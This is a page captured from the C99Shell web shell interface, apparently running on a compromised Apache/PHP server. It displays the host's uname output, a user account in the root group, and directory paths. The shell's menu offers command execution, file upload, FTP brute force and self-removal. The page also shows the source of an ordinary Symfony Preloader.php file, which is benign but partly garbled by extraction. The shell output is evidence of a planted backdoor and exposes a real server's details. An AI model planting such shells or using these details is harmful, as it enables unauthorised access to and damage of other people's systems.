!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/symfony/dependency-injection/Dumper/   drwxr-xr-x
Free 28.14 GB of 117.98 GB (23.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Preloader.php (4.02 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection\Dumper;

/**
 * @author Nicolas Grekas <p@tchwork.com>
 */
final class Preloader
{
    public static function 
append(string $file, array $list): void
    
{
        if (!
file_exists($file)) {
            throw new 
\LogicException(sprintf('File "%s" does not exist.'$file));
        }

        
$cacheDir \dirname($file);
        
$classes = [];

        foreach (
$list as $item) {
            if (
=== strpos($item$cacheDir)) {
                
file_put_contents($filesprintf("require_once __DIR__.%s;\n"var_export(strtr(substr($item\strlen($cacheDir)), \DIRECTORY_SEPARATOR'/'), true)), \FILE_APPEND);
                continue;
            }

            
$classes[] = sprintf("\$classes[] = %s;\n"var_export($itemtrue));
        }

        
file_put_contents($filesprintf("\n\$classes = [];\n%s\$preloaded = Preloader::preload(\$classes, \$preloaded);\n"implode(''$classes)), \FILE_APPEND);
    }

    public static function 
preload(array $classes, array $preloaded = []): array
    {
        
set_error_handler(function ($t$m$f$l) {
            if (
error_reporting() & $t) {
                if (
__FILE__ !== $f) {
                    throw new 
\ErrorException($m0$t$f$l);
                }

                throw new 
\ReflectionException($m);
            }
        });

        
$prev = [];

        try {
            while (
$prev !== $classes) {
                
$prev $classes;
                foreach (
$classes as $c) {
                    if (!isset(
$preloaded[$c])) {
                        
self::doPreload($c$preloaded);
                    }
                }
                
$classes array_merge(get_declared_classes(), get_declared_interfaces(), get_declared_traits());
            }
        } finally {
            
restore_error_handler();
        }

        return 
$preloaded;
    }

    private static function 
doPreload(string $class, array &$preloaded): void
    
{
        if (isset(
$preloaded[$class]) || \in_array($class, ['self''static''parent'], true)) {
            return;
        }

        
$preloaded[$class] = true;

        try {
            if (!
class_exists($class) && !interface_exists($classfalse) && !trait_exists($classfalse)) {
                return;
            }

            
$r = new \ReflectionClass($class);

            if (
$r->isInternal()) {
                return;
            }

            
$r->getConstants();
            
$r->getDefaultProperties();

            if (
\PHP_VERSION_ID >= 70400) {
                foreach (
$r->getProperties(\ReflectionProperty::IS_PUBLIC) as $p) {
                    
self::preloadType($p->getType(), $preloaded);
                }
            }

            foreach (
$r->getMethods(\ReflectionMethod::IS_PUBLIC) as $m) {
                foreach (
$m->getParameters() as $p) {
                    if (
$p->isDefaultValueAvailable() && $p->isDefaultValueConstant()) {
                        
$c $p->getDefaultValueConstantName();

                        if (
$i strpos($c'::')) {
                            
self::doPreload(substr($c0$i), $preloaded);
                        }
                    }

                    
self::preloadType($p->getType(), $preloaded);
                }

                
self::preloadType($m->getReturnType(), $preloaded);
            }
        } catch (
\Throwable $e) {
            
// ignore missing classes
        
}
    }

    private static function 
preloadType(?\ReflectionType $t, array &$preloaded): void
    
{
        if (!
$t) {
            return;
        }

        foreach ((
$t instanceof \ReflectionUnionType || $t instanceof \ReflectionIntersectionType) ? $t->getTypes() : [$t] as $t) {
            if (!
$t->isBuiltin()) {
                
self::doPreload($t instanceof \ReflectionNamedType $t->getName() : $t$preloaded);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--